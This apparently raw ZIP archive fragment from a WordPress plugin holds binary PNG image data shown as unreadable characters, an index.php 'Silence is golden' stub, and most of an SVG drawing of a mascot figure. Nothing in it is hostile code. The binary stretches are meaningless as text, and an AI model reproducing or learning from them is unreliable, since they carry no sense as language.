�	��t��)!A}�,�$`�8��Q���&�.1U�^PD�S�)ǓQ��~�-<�����'N�8��B�5�sA�Y>���l��-ʊŲ]t�m�y3�׊���!����X�T�[�&�ҵݳX���n�[ͅ����e�8(��DN�7N�����%8�6T��A��êj� ���z��m��)
��Mތ��ē\�Q���/*eff;���duh��@��@����Ѡ��;�p)0�������:�
J�ici	�ܼ	+ʠ�m�w�}Q���|Vú��W���t��@
�n�8y�2�vLꭘ�
������VJ9R�uZi�]�K_��4����l��>Ϝ*���A�זЊ�#Vڧ�(
�zx����ҷ_~z�2��������J��O����p?�Z�:�&�q���M���h�� I��a�8mA��%Y-.7��Ma'a�y�u����q��;{6�kK(h�8
f/Z�;�p[P1%^�:�u�"
�n��qh�t�)��D��@޴o�\�p��Z�I>��~�R��w��c��6F�8�?������
�?�*��8,�֦�b�q���
3�G�3\����aH�k�/�6�]yU�9
,O�8yM�Ӱ܀^���d����_t��T��v��� S/}ˑ�lR��ɑ�"&��������i�B"j�y�MQ=vlG�)����%���%A�-ՠ��t�y��R�9?��>n�+g��H!n�}\�o=��t���$���t���$Z�]�KP#U�6��%m��W�n�}�$�`��&#�t��U�<��~���ǪEP'38w3�m� ��y4N��c,Ũk�� �Վ�VR��h=��R2_�GP]�;gU��
��~-bH?xӚ�q�fն<�L�]V�Il��E����'n���DZ�!��57uo�o��k?��G~�t�W1���w���L�yF?�(tY�<��+UP���Pڜ�k�=/�\+�_�8�
a��B�a�6ev�g�����jڦ��v�ͫ��BU]qun\k��
)[��x��?ݳ�+俻��o�!��-l�"�YaZ�$�˯��~o�,����Ec+�����.�4*Jݦ�X�� ���7B硩���J�²�u�U�
V	� �VP|�a����ͽ���&Z0��+��|�u��M=TA:MP�.\�/��a��5��O/���_p_�X�47���<�}]n�2�w�>��BDT�v9lʆ��e�~�3-�篓�;����u��Ӯ��m�
h]�ϒdؔ �ԙ�
|I;��,n
E�L}�6�4���4e2��R�c�/�_�<�bZs��iڨ+��3���� �	Av�kⶮ�7X,Q�������&�����KJ�U�*nkQ5	`ܯC����5�������+-AU-U�S$�4p��	��R����.b
�VA�T ��"�J|Q�紟���gj����k���\rA��+YU��Ŵ�?vq�w[4:B��� �š��-`:�E���+iS݂�����<G�i�����ġ
����H5�Ȳ�}J���g[����vH� Bj�F�����!��J�͚��P�����!A%~�鷙�7�����϶P�����	� ��i�!�S����o�-�K�҇*BV�J�@���M�~������q��6�3v�"�� ������4BIEND�B`�PK�y3\T�2��Jincludes/shortcode_generator/gutenberg/src/assets/images/rs6_number_2x.pngnu�[����PNG


IHDRFF�Lu�tEXtSoftwareAdobe ImageReadyq�e<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Macintosh)" xmpMM:InstanceID="xmp.iid:F8CC22669BA211E99770D09E67525522" xmpMM:DocumentID="xmp.did:F8CC22679BA211E99770D09E67525522"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F8CC22649BA211E99770D09E67525522" stRef:documentID="xmp.did:F8CC22659BA211E99770D09E67525522"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>����dIDATx��[	pe�kz�d&���I‘J�V9��Re�-���u�U�@�-]��,o�b��Xu]��t��E��B!	L�I„I��LOO�~�3���t�����+$��f������}���_�~,�?��de�_,�!	Q ���dF�49��Ţ<c�0��;DE��$���0�c���ar�!�&{;��T������r���OE&L��CH$I�F8k�a�c3����;7�qqa�x�y�%$r�;�l�4E<�v{��Z{I�U�����Nl(X��N��
G,6�=����
+h�:�l�gg�ὃEQ/\H��~O�麊�?��\�|���0"Ju{z. q��(��?t���{�w���Y`�B���:C�~5ar�+�e".l}�XA�� D=�;q���شb�tE�_mk��_PlE�B�Dt�o�g��Ԝ�2Jl�x��Rϐ����h�4��ޱ�xOG(�e������#C1���3[�l��UV��;'�$��
�Y�57�W4~��ӽ���G�$7��lT��Ewm�(s�`����q�Ϳ��n�K��g��q�ݐ+��q;�L+�7(w��{���mϑ�t�D�^Ox񚺢r�ţI���a�6�D$�T�һ�(����SVm˝�t��D9십\?�hV��-����Ec��"t�'|�ܲ��݊ƨ >{�G":A�p!�$��lPc�"�RC9���Dܞ�ܛ�5+����>�+�s�����F�b�t5�[�:��b� H�O�$�PzU�@�h��BK���h��/m���:�H��MM��\,�#��Y��N��QV����*�,��"E�$/�GW=:c��|LCOp������l�;dX�Ub�hj�B6HI�Dn���ؤh�j�8\��$�Ĉ���7[F�䅡�Ѷ�g�|���OX]$�c�=ӽ�O�\I8M�|k�ˍC��	1r�ǥ�
"ϋ�Q>I��(4^|e������G�-6�1;T�/*��"ׯ�h�c�(��p\���e�'|%'iw�h����ۆ���|w=��8�dI�!a
T���IjVѩc#V;�y�h��h		(A�s�;M�*�	���˚�g�BS4�>��6H������C��N"��,5n*�"�>����ϰTh8��,�����Wj�,��� ţ��ȼ�ZE�'t�X�d���$GIH)0288���RL���
'��W�|�ܨ�i��� �}��u�j ����P��m�;Y�h1\ք�J�Fxp0�i��c��.(�b���+���I-�]$A�Ĝ��*��z�34�擁!o�3b�7����5���H�8Z
ABv�rT�G	��lּ�;40�l��5@

s���K-g�揷{~6���)q��l-��̺�b�:(䷔gd(�Yl�˨V�kxd�'j�fHS�_��V
��狭����E�]��.�@���)�BC�<#!��αœ�o}�,�,2�LR�f�g^]�h��<���=��r�
�����_܄�@V]��C��/KJQ�?�h$l�#���m�R7�O=I���5��M���'��o_4ȕTYE�J4��56.&<�z/��B.Ӄu)`�١]���Uf��I�!��	w]>Tsf���k�?T^��B"���A���l�B&E2"�1B�vR�+��t����U�`�p���ҪRu&�+�m��SB��I)�.��n�)AOH!U^mS,]�:���ma��PD��n��ɐ�H�"�9w���VT���:nP@�g6k��C�є�Q��}�ȗ��k��*��Z���A4@B�[쬳Da˨�6�mE��(C�'��J�����rK����u����Җ��@���+�^��
s�|S��dm��FO/���x,	���pԶ	�����%��~kI�3
�3B�hf���5�m����%�Hu@���0$?�L���&�J{SDٛ�2*��@�U�PlFB�`4����ʛ�F�C�$	p��~��B�Xr�;���9e�~*�z�
����z`���UMt�2�4�.�����U�\�Cm�S�%����c�j!Y�l��%�)_~���*�Ԁ�
-^]�P*��
JOz�es�'���8x&��e*��]/��{���`�Ζ�+U-[;UA:�o�t�^/a�D��g��-�>=k�/k��U�7q�然������7_���P���!$	���X�=���*�Ԙs������XWrRL7�E,���H$�X����-W#����f�@��xdd
�Lf��-`w�l(��.�[Κh�/�$\<�����4�b�#�7�n
�by|�v��-���<&�]w^�K�j��H0��r��׫�<?W�v�DY�VT�m*ښ�V�WJ�CW����{���:|���|k��W���Ć����߿��+T;͉R W�VDN���]=�=�-��k�����$�&<DV{�de�}��w��-wxP����@�x�E�k��/��HM��y�j�B�����Ub��Z���1�wk�A�{vt
y�3�)c�l�#A��`��?TXf�s�Yb�R���;���{��^`��w���{���s��ʚ<�Ր�q��!��F�*1�F?��i?�G���#��ǚ�^}�Ц�
��M�W�:/��}�D�89
�,ܵ�Co�׬y��//���P�c���C�~�no��^���q6L��OL���D<v�s<в�g�K�.U��uW���0�he�,!��O��§ZG [�=a�!�r��rL�zА�xq4��B��2���H�N<��ґQA�CU�Ci�����a�u����ԑ�t���~RI�C��x��6ԋ',IEND�B`�PK�y3\�ƹ�Bincludes/shortcode_generator/gutenberg/src/assets/images/index.phpnu�[���<?php // Silence is golden
PK�y3\5���~�~Eincludes/shortcode_generator/gutenberg/src/assets/images/js-wapuu.svgnu�[���<?xml version="1.0" encoding="UTF-8"?>
<svg width="260px" height="260px" viewBox="0 0 260 260" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <!-- Generator: Sketch 46.2 (44496) - http://www.bohemiancoding.com/sketch -->
    <title>Artboard</title>
    <desc>Created with Sketch.</desc>
    <defs>
        <polygon id="path-1" points="0.865919429 173.933077 115.743287 173.933077 115.743287 0.803297698 0.865919429 0.803297698"></polygon>
    </defs>
    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
        <g id="Artboard">
            <g id="wapuu-js-learning" transform="translate(48.000000, 14.000000)">
                <g id="Group-4" transform="translate(67.000000, 0.000000)">
                    <path d="M2.39536585,22.3852273 L44.0601463,2.03522727" id="Fill-1" fill="#969894"></path>
                    <path d="M2.3964878,24.0897727 C1.77156098,24.0897727 1.17019512,23.7340909 0.879609756,23.125 C0.475707317,22.2772727 0.826878049,21.2579545 1.66497561,20.8488636 L43.3297561,0.5 C44.1644878,0.0909090909 45.172,0.446590909 45.5770244,1.29431818 C45.9798049,2.14318182 45.6286341,3.16136364 44.7905366,3.57045455 L3.12687805,23.9204545 C2.89126829,24.0352273 2.64219512,24.0897727 2.3964878,24.0897727" id="Fill-3" fill="#0A0B09"></path>
                </g>
                <polyline id="Fill-5" fill="#1A6193" points="53.5267129 2 17 41.8901408 97.4786168 51 140 12.8788282 53.5267129 2"></polyline>
                <path d="M21.1558745,40.7980319 L97.9969169,49.567742 L137.45372,13.9038068 L55.0730137,3.45488578 L21.1558745,40.7980319 Z M98.5719371,53 C98.5062852,53 98.4428971,52.9966438 98.3772452,52.9899314 L17.5031376,43.7604241 C16.8726528,43.6877068 16.3349862,43.2748961 16.1097322,42.6864451 C15.8856101,42.1002315 16.0101224,41.4390631 16.434596,40.9714348 L53.1408098,0.557379836 C53.5143466,0.146806599 54.0633324,-0.0590393828 54.6202418,0.014796676 L141.518479,11.0353878 C142.173866,11.1181737 142.72172,11.5701399 142.92094,12.1932715 C143.120159,12.8164031 142.935655,13.4977085 142.448925,13.9384874 L99.7185818,52.5603398 C99.4027735,52.8456155 98.9941469,53 98.5719371,53 L98.5719371,53 Z" id="Fill-6" fill="#0A0B09"></path>
                <path d="M34.1977414,122.147911 C37.4970617,131.071501 52.5331583,105.205408 48.2330364,98.5614212 C43.9329146,91.9174341 36.3059589,83.9511434 32.8266548,81.7118488 C29.3462042,79.4725542 19.0068817,82.3959533 19.0000033,92.1973459 C18.9942713,100.874613 26.4607319,101.220584 34.1977414,122.147911" id="Fill-7" fill="#F9CE22"></path>
                <path d="M29.4706132,82.3322112 C28.2498015,82.3322112 26.723504,82.6655272 25.2696179,83.4343763 C23.4502804,84.3954376 20.3988168,86.7575374 20.3942911,91.7761662 C20.3920282,95.3182049 21.7746342,97.1714422 24.2864063,100.536823 C27.2043613,104.44551 31.2005679,109.799677 35.2929461,120.9291 C35.485289,121.451295 35.6742376,121.642396 35.7262833,121.66795 C36.0057462,121.739058 37.6440552,121.11909 40.3063073,117.34373 C44.9576113,110.748516 47.8337034,101.652321 46.1139315,98.9802373 C42.0170277,92.6161227 34.7204431,84.903189 31.4087509,82.7610778 C30.9833336,82.4866476 30.2976877,82.3322112 29.4706132,82.3322112 Z M35.7375976,125 C35.6142719,125 35.4909461,124.993334 35.3676204,124.982223 C34.5167859,124.89445 32.9599398,124.396698 32.1011853,122.062374 C28.1739958,111.382928 24.3452406,106.252083 21.5494799,102.506721 C18.9064621,98.9669047 16.9966102,96.4081484 17.0000045,91.7739441 C17.0045302,86.8441996 19.4314451,82.7344125 23.6607261,80.4989728 C27.0391727,78.7157319 30.992385,78.5001875 33.2767399,79.9778887 C36.939175,82.3477659 44.5978169,90.3873493 48.9832351,97.1992185 C51.9849158,101.86231 47.7296119,112.004007 44.1361939,117.683712 C41.9989248,121.061315 38.8411069,125 35.7375976,125 L35.7375976,125 Z" id="Fill-8" fill="#0A0B09"></path>
                <path d="M148.991215,119.880993 C149.564673,165.967184 121.986744,188 88.6742302,188 C55.3617167,188 18,187.52727 18,149.905524 C18,131.441097 30.1668001,125.706866 36.7198038,113.414756 C47.4439271,93.2985662 31.4514372,60.6723414 70.9602362,50.0912256 C103.116802,41.4792612 147.853329,28.2986866 148.991215,119.880993" id="Fill-9" fill="#F9CE22"></path>
                <path d="M103.884124,46.2910073 C93.4992611,46.2910073 82.4424102,49.2591831 72.1622291,52.0188507 L70.9375672,52.3466657 C45.5382146,59.1538458 44.229132,74.9246492 42.8435081,91.6209168 C42.1816504,99.5966349 41.4972805,107.843302 37.8480582,114.692853 C35.6306098,118.854097 32.8042072,122.27497 30.0701045,125.583226 C24.5715077,132.237649 19.3768251,138.521886 19.3768251,150.319883 C19.3768251,186.654948 55.9197004,186.654948 88.1605007,186.654948 C104.744089,186.654948 118.961648,181.188019 129.275597,170.845119 C140.883996,159.20211 146.880112,141.753205 146.614468,120.385016 C146.176607,85.0991812 139.374555,63.0162654 125.81998,52.8740689 C119.327471,48.0159389 111.800527,46.2910073 103.884124,46.2910073 Z M88.1605007,190 C56.0108747,190 16,190 16,150.319883 C16,137.327702 21.8250233,130.279678 27.4575675,123.463578 C30.0847374,120.283549 32.801956,116.995363 34.8606937,113.130714 C38.187992,106.886617 38.8149558,99.3379509 39.4779391,91.3466226 C40.832046,75.0305758 42.3662502,56.5380154 70.0562158,49.1186909 L71.2786265,48.7897608 C89.2095677,43.9751165 111.523628,37.9863591 127.855079,50.2047177 C142.298886,61.0125795 149.539924,83.9551735 149.991293,120.34376 C150.268193,142.626264 143.93552,160.903626 131.677645,173.195576 C120.715346,184.18853 105.667087,190 88.1605007,190 L88.1605007,190 Z" id="Fill-10" fill="#0A0B09"></path>
                <path d="M29.9614905,75.6919793 C15.6405347,79.7619377 14.1709843,73.1019049 17.4758203,72.3614078 C20.7806562,71.6209108 29.5935521,66.440762 34,62 L29.9614905,75.6919793" id="Fill-11" fill="#E8802C"></path>
                <g id="Group-16" transform="translate(12.000000, 59.000000)">
                    <mask id="mask-2" fill="white">
                        <use xlink:href="#path-1"></use>
                    </mask>
                    <g id="Clip-13"></g>
                    <path d="M5.72341748,14.6070769 C5.75607767,14.6070769 5.86081553,14.8056154 6.21106796,15.0398462 C6.8856699,15.4904615 9.60772816,16.7664615 16.9742913,14.8625 L19.2312233,7.34480769 C14.5202718,10.788 8.72928155,13.9032692 5.92838835,14.5200769 C5.70652427,14.5691538 5.71891262,14.6081923 5.72341748,14.6070769 Z M10.1719612,19.227 C6.35071845,19.227 4.44066019,18.0815 3.52392233,17.1635385 C2.52046602,16.1585769 2.13642718,14.8379615 2.49568932,13.6288846 C2.8504466,12.4354231 3.85953398,11.5475769 5.19409709,11.2531154 C8.10535922,10.6117692 16.8188738,5.69180769 21.2606602,1.29384615 C21.8057476,0.751769231 22.6526602,0.646923077 23.3193786,1.03953846 C23.9838447,1.43103846 24.2935534,2.21961538 24.0739417,2.95353846 L19.9452427,16.7095769 C19.7796893,17.2594615 19.3415922,17.6877692 18.7841165,17.8428077 C15.1734757,18.8522308 12.359068,19.227 10.1719612,19.227 L10.1719612,19.227 Z" id="Fill-12" fill="#0A0B09" mask="url(#mask-2)"></path>
                    <path d="M114.053903,117.361885 C107.67165,141.528923 82.5199223,164.579462 53.9884272,171.271769 C29.4448544,177.028269 2.18260194,158.259692 2.55875728,146.733308 C2.98108738,133.753577 19.4519612,134.464077 27.7104854,148.221231 C40.3623689,169.295308 83.6461359,154.541 99.7881553,125.169577 L114.053903,117.361885" id="Fill-14" fill="#E8802C" mask="url(#mask-2)"></path>
                    <path d="M11.5887379,139.104077 C10.8139029,139.104077 10.0784854,139.192192 9.39487379,139.366192 C6.20431068,140.180423 4.37646602,142.814962 4.24695146,146.786846 C4.1343301,150.271308 7.23930097,154.920231 12.5561553,159.223385 C22.1120777,166.960808 38.5074951,173.183538 53.5987573,169.643308 C79.8350291,163.489731 103.38866,143.322462 111.230485,120.818462 L101.033748,126.399846 C90.5284272,145.112654 68.0492039,159.443115 48.5307961,159.810077 C38.4579417,159.996346 30.5282718,156.189538 26.2576699,149.076731 C22.1582524,142.246115 16.2005825,139.104077 11.5887379,139.104077 Z M44.6115728,174 C31.4742913,174 18.5881553,168.428654 10.4174757,161.813308 C4.2007767,156.781808 0.720776699,151.264 0.870563107,146.678654 C1.04963107,141.173115 3.84939806,137.325038 8.55133981,136.126 C14.5292816,134.604615 23.5243495,137.974192 29.163301,147.365731 C33.8055534,155.099808 42.2161165,156.587731 48.4666019,156.465038 C67.0153398,156.115923 88.4404272,142.3175 98.304932,124.369846 C98.4580971,124.089885 98.6900971,123.859 98.9716505,123.705077 L113.236272,115.897385 C113.827534,115.572808 114.556194,115.629692 115.091146,116.040154 C115.624971,116.452846 115.859223,117.137692 115.688039,117.785731 C109.043379,142.945462 83.2587184,166.125385 54.3780971,172.900231 C51.1537476,173.656462 47.8742136,174 44.6115728,174 L44.6115728,174 Z" id="Fill-15" fill="#0A0B09" mask="url(#mask-2)"></path>
                </g>
                <path d="M33.431,80 C33.284,80.111 33.145,80.232 33,80.344 C33.217,80.263 33.434,80.184 33.653,80.106 C33.579,80.07 33.506,80.039 33.431,80" id="Fill-17" fill="#5798AD"></path>
                <path d="M50,77.0176071 C49.7503467,77.0143058 49.5062413,77 49.2565881,77 C43.9040222,77 38.7700416,77.9232731 34,79.608054 C40.0837725,82.604565 45.3797503,80.3079368 50,77.0176071" id="Fill-18" fill="#5798AD"></path>
                <g id="Group-22" transform="translate(0.000000, 137.000000)">
                    <path d="M20.893,6.59384091 C13.4481333,-2.19497727 1.8904,1.6415 1.70226667,12.6330909 C1.547,21.6635682 12.7296,40.9706818 22.7720667,45.815 C31.4896667,50.0212045 31.8602667,39.8392273 31.1519333,36.2499773 C29.8962,29.8866591 24.8562667,11.2744545 20.893,6.59384091" id="Fill-19" fill="#F9CE22"></path>
                    <path d="M11.4806667,3.41329545 C10.6193333,3.41329545 9.76593333,3.5525 8.94313333,3.83759091 C5.54766667,5.01247727 3.47593333,8.31106818 3.40226667,12.6609318 C3.25833333,21.0588636 14.2188,39.8269773 23.5212,44.3149318 C25.5022667,45.2715455 26.9778667,45.4018409 27.9049333,44.7058182 C29.6899333,43.3638864 29.971,39.0418636 29.4825333,36.5684773 C28.1576667,29.85325 23.1925333,11.9203636 19.5862667,7.66293182 C17.2595333,4.91559091 14.3185333,3.41329545 11.4806667,3.41329545 Z M26.469,48.4799318 C25.2529333,48.4799318 23.7818667,48.1625455 22.0229333,47.3150682 C11.4081333,42.1934545 -0.1632,22.2549091 0.00226666667,12.60525 C0.0997333333,6.88672727 3.09286667,2.31970455 7.8132,0.684886364 C12.7228,-1.00784091 18.2330667,0.843022727 22.1997333,5.52475 C26.7172,10.8590682 31.8478,30.9991818 32.8213333,35.9325909 C33.235,38.0295682 33.6010667,44.6300909 29.971,47.3596136 C29.1810667,47.9520682 28.0375333,48.4799318 26.469,48.4799318 L26.469,48.4799318 Z" id="Fill-21" fill="#0A0B09"></path>
                </g>
                <path d="M143,75.5251425 C134.317784,51.2306108 116.199165,34.7830806 91.2860642,34.0362811 C66.3729632,33.2894815 45.6124231,44.1281663 34.66538,61.3213747 C27.2820427,72.9158295 32.7787788,79.2613826 36.1760198,80.7572243 C39.5732609,82.2530659 53.9164126,76.646463 58.0689736,69.1706187 C67.883603,75.1506214 78.8295137,72.5334592 88.2670493,69.5440185" id="Fill-23" fill="#F9CE22"></path>
                <g id="Group-28" transform="translate(29.000000, 32.000000)">
                    <path d="M8.57212403,50.169587 C7.70970543,50.169587 6.97404651,50.0531739 6.40928682,49.8070435 C4.39924031,48.9322826 1.86291473,46.7415 0.770744186,43.2191739 C-0.164108527,40.2079565 -0.335007752,35.1556304 4.15251163,28.1841522 C15.8087442,10.0725 37.511814,-0.318195652 62.2288217,0.430173913 C86.6504341,1.15415217 106.053721,16.509587 115.463364,42.5595 C115.775736,43.4253913 115.312837,44.3755435 114.428915,44.6826522 C113.546124,44.9875435 112.575054,44.5351957 112.262682,43.6693043 C103.345364,18.983087 85.0715969,4.4358913 62.1269612,3.75515217 C38.6322791,3.06221739 18.0338295,12.8542174 7.02497674,29.9569565 C4.01443411,34.6345435 2.97545736,38.8863913 4.01896124,42.2523913 C4.77951938,44.7048261 6.52472868,46.217087 7.78779845,46.7681087 C9.93365891,47.7105 23.5376899,43.0728261 27.4921395,36.0292826 C27.7151008,35.6312609 28.0965116,35.3396739 28.5458295,35.2232609 C28.9962791,35.1079565 29.4727597,35.1766957 29.8688837,35.4150652 C39.154031,41.0117609 49.5902016,38.4528913 58.6433333,35.6168478 C59.5397054,35.3396739 60.4915349,35.8186304 60.777876,36.6945 C61.0630853,37.5692609 60.5707597,38.505 59.6777829,38.7843913 C49.692062,41.9142391 39.1653488,44.0662174 29.5406667,39.0615652 C24.9082791,45.3645 14.1122016,50.169587 8.57212403,50.169587" id="Fill-24" fill="#0A0B09"></path>
                    <path d="M91.6042481,12.4406739 C84.826,11.9018478 90.0955814,16.8765652 92.3591473,18.7236522 C94.6227132,20.5707391 110.844558,34.9837826 125.935752,30.549 C141.025814,26.1142174 145.554078,13.9196739 142.534481,13.1801739 C139.517147,12.4406739 105.563659,13.5493696 91.6042481,12.4406739" id="Fill-26" fill="#E8802C"></path>
                    <path d="M90.1838605,14.0793261 C90.6263876,14.7888913 91.7106357,16.0295217 93.4456589,17.4453261 L93.8836589,17.8089783 C105.54555,27.5499783 116.751333,31.5080217 125.447953,28.9558043 C133.733736,26.52 138.823364,21.4909565 140.822093,17.595 C141.570202,16.1381739 141.719597,15.1824783 141.719597,14.7334565 C139.652961,14.5216957 132.03493,14.5593913 124.648915,14.5948696 C113.352589,14.6503043 99.2924496,14.7190435 91.4673023,14.0981739 C90.8765116,14.0505 90.4622791,14.0571522 90.1838605,14.0793261 Z M119.867132,33.0646304 C111.358388,33.0657391 101.750682,28.7506957 91.6800775,20.3401304 L91.2726357,20.0008696 C85.6114574,15.3809348 86.4817984,13.2943696 86.7681395,12.608087 C87.6633798,10.4583261 90.7327752,10.7022391 91.7411938,10.7820652 C99.4203411,11.3918478 113.400124,11.3208913 124.63307,11.2687826 C135.649845,11.2122391 141.467209,11.2033696 142.94645,11.565913 C144.264977,11.8896522 145.076465,13.0316087 145.113814,14.622587 C145.208884,18.6560217 139.667674,28.2484565 126.42355,32.141087 C124.324093,32.7586304 122.135225,33.0646304 119.867132,33.0646304 L119.867132,33.0646304 Z" id="Fill-27" fill="#0A0B09"></path>
                </g>
                <path d="M55.6077577,59.15591 C52.9601302,61.0621585 53.7583038,63.4191297 56.7178741,63.773954 C59.6785544,64.1287784 59.9094586,64.3163132 62.6392347,62.3525256 C65.598805,60.2214485 65.9695838,56.668943 62.6392347,57.0248329 C59.3088857,57.3807228 57.0886529,58.0903715 55.6077577,59.15591" id="Fill-29" fill="#0A0B09"></path>
                <path d="M48,61.5 C48,63.4331667 46.4331667,65 44.5,65 C42.568,65 41,63.4331667 41,61.5 C41,59.5656667 42.568,58 44.5,58 C46.4331667,58 48,59.5656667 48,61.5" id="Fill-30" fill="#0A0B09"></path>
                <path d="M87,52.5 C87,54.4331667 85.4331667,56 83.5,56 C81.5668333,56 80,54.4331667 80,52.5 C80,50.5656667 81.5668333,49 83.5,49 C85.4331667,49 87,50.5656667 87,52.5" id="Fill-31" fill="#0A0B09"></path>
                <path d="M46.9842286,47.7717197 C46.9842286,47.7717197 54.5201937,44.4403938 61.5689147,48 C61.5689147,48 91.5766165,32.4086786 110.979729,38.7870991 C110.979729,38.7870991 112.062243,32.9681892 98.405909,18.9804251 C98.405909,18.9804251 64.6881763,10.6269324 46.9842286,28.2324918 C46.9842286,28.2324918 40.2697142,50.4707986 46.9842286,47.7717197" id="Fill-32" fill="#387BB2"></path>
                <path d="M49.1963706,29.6601399 C46.8227001,37.508378 45.6971942,45.2824193 46.7307062,46.6711156 C46.7920355,46.6600415 46.8897081,46.6367858 47.0305383,46.5825226 C47.6722243,46.3100989 55.0589958,43.3278349 62.3821665,46.4883924 C67.1226929,44.1805431 91.8577015,32.800764 110.197429,36.9325231 C109.350176,34.3732909 106.739139,29.2592563 98.7140882,21.1297353 C94.6629483,20.2570936 65.138577,14.5517003 49.1963706,29.6601399 Z M46.6534768,50 C45.6006574,50 44.8862848,49.5448531 44.4944588,49.1960179 C41.0407116,46.1273757 44.4365367,33.5604496 46.0560841,28.299129 C46.1378565,28.0355646 46.2843653,27.7963633 46.4831176,27.602566 C54.1106633,20.1651783 65.8120634,16.1541273 80.3209819,16.0046265 C91.1433289,15.8905629 99.6431133,17.9226663 99.9997317,18.0090446 C100.307514,18.0843487 100.588039,18.2416014 100.810641,18.4641915 C114.801668,32.5161588 114.081617,38.8483481 113.953279,39.5238702 C113.864693,39.9967357 113.569404,40.407586 113.145777,40.6512169 C112.722151,40.8959553 112.209938,40.9491111 111.744289,40.7996103 C93.0786085,34.780819 63.4929079,49.6611315 63.1964831,49.8117397 C62.7081203,50.0586929 62.1266278,50.0631226 61.6359935,49.820599 C55.3202131,46.6932639 48.4490619,49.6024386 48.3797825,49.6323388 C48.3627466,49.6400907 48.344575,49.6478426 48.3264033,49.6544871 C47.6960746,49.903655 47.1384324,50 46.6534768,50 L46.6534768,50 Z" id="Fill-33" fill="#0A0B09"></path>
                <g id="Group-37" transform="translate(104.000000, 0.000000)">
                    <path d="M10.01475,2.40444444 C9.54225,0.925555556 4.905,2.36777778 3.783375,3.45333333 C2.66175,4.53888889 1.967625,6.28 2.383875,7.77555556 C4.435875,15.1422222 5.938875,18.7711111 4.61475,29.3866667 C3.21525,40.6122222 5.229,52.0866667 2.54025,63.0811111 C2.1915,64.5088889 2.10825,66.5044444 3.531375,66.9322222 C3.978,67.0666667 4.45725,66.9822222 4.919625,66.9177778 C7.3485,66.5766667 9.8595,66.8188889 12.178125,67.6144444 C12.767625,67.8166667 13.428,68.0533333 13.9905,67.7844444 C14.68125,67.4555556 14.832,66.5655556 14.8905,65.8088889 C15.62175,56.4266667 15.84675,47.0066667 15.564375,37.6011111 C15.391125,31.8266667 15.01875,26.0122222 13.523625,20.4266667 C12.866625,17.9711111 11.424375,15.4788889 11.550375,12.9411111 C11.6595,10.7233333 13.100625,8.60111111 13.021875,6.38222222 C12.94425,4.16333333 11.323125,1.68888889 9.084375,1.89222222" id="Fill-34" fill="#D9DAD5"></path>
                    <path d="M7.08975,65.1066667 C9.030375,65.1066667 10.93275,65.4222222 12.731625,66.04 C12.8565,66.0833333 13.01175,66.1366667 13.14675,66.1766667 C13.16925,66.0633333 13.190625,65.9044444 13.2075,65.6822222 C13.930875,56.4 14.157,46.97 13.878,37.6511111 C13.7115,32.1611111 13.35825,26.3255556 11.892375,20.8533333 C11.696625,20.1222222 11.417625,19.37 11.122875,18.5733333 C10.454625,16.7688889 9.76275,14.9022222 9.864,12.86 C9.927,11.5933333 10.312875,10.4511111 10.68525,9.34555556 C11.035125,8.30444444 11.367,7.32111111 11.336625,6.44 C11.30175,5.48777778 10.852875,4.47555556 10.218375,3.92333333 C9.74025,3.50777778 9.3645,3.54111111 9.2385,3.55222222 L9.156375,2.67222222 L8.404875,2.90555556 C8.515125,3.24888889 8.7885,3.43111111 8.8965,3.46111111 C8.155125,3.25555556 5.5125,4.11333333 4.964625,4.64333333 C4.18725,5.39555556 3.78675,6.52666667 4.010625,7.33444444 C4.208625,8.04444444 4.402125,8.72 4.58775,9.37 C6.357375,15.5733333 7.52625,19.6711111 6.28875,29.59 C5.713875,34.2077778 5.7285,38.9955556 5.74425,43.6244444 C5.765625,50.1544444 5.785875,56.9066667 4.1805,63.4722222 C3.940875,64.4566667 4.003875,65.1055556 4.087125,65.3388889 C4.206375,65.3355556 4.422375,65.3044444 4.5765,65.2822222 C5.418,65.1644444 6.25725,65.1066667 7.08975,65.1066667 Z M13.43475,69.5711111 C12.731625,69.5711111 12.097125,69.3511111 11.651625,69.1977778 C9.559125,68.48 7.318125,68.2633333 5.157,68.5677778 C4.53375,68.6566667 3.812625,68.76 3.038625,68.5255556 C0.99,67.91 0.169875,65.6733333 0.9,62.6888889 C2.40975,56.5155556 2.390625,50.2588889 2.36925,43.6344444 C2.3535,38.9022222 2.338875,34.0088889 2.94075,29.1822222 C4.093875,19.93 3.056625,16.2955556 1.33875,10.2744444 C1.150875,9.61777778 0.95625,8.93555556 0.756,8.21777778 C0.20925,6.25333333 0.950625,3.86 2.602125,2.26222222 C3.805875,1.09777778 7.5465,-0.306666667 9.712125,0.226666667 C9.714375,0.227777778 9.716625,0.227777778 9.718875,0.228888889 C10.704375,0.31 11.63475,0.714444444 12.448125,1.42222222 C13.77675,2.57666667 14.641875,4.45555556 14.709375,6.32333333 C14.761125,7.80555556 14.297625,9.18333333 13.887,10.3988889 C13.572,11.3322222 13.275,12.2133333 13.2345,13.0222222 C13.168125,14.3911111 13.71375,15.8666667 14.293125,17.4277778 C14.601375,18.2611111 14.91975,19.1222222 15.154875,20.0011111 C16.707375,25.7988889 17.07975,31.8633333 17.25075,37.5522222 C17.53425,46.9888889 17.305875,56.5388889 16.572375,65.9366667 C16.524,66.5688889 16.3755,68.4988889 14.722875,69.2866667 C14.286375,69.4944444 13.84875,69.5711111 13.43475,69.5711111 L13.43475,69.5711111 Z" id="Fill-36" fill="#0A0B09"></path>
                </g>
                <path d="M108,12 C108,12 113.185185,14.646296 116,12 L116,18.9639368 C116,18.9639368 111.555556,21.470954 108.592593,18.6853793 L108,12" id="Fill-38" fill="#969894"></path>
